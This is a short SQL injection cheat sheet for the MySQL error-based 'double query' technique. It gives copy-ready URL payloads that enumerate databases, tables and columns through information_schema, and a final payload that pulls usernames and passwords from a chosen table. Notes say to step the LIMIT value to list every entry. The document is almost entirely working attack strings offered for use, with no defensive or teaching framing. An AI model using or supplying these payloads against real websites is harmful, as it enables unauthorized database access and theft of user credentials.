Double query Sql Injection

Database :::
whatever.com/index.php?id=myass and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1



chane 1st limit to show all databases

Tables :::
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1


change 1st limit to show all tables

Columns ::
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0x"HEXDATABASE" AND table_name=0x"HEXTABLENAME" LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

change 1st limit to show all columns

:: data fetching ::
and (select 1 from (select count(*),concat((select concat(username,0x7e,pass,0x7e7e) from "table" limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)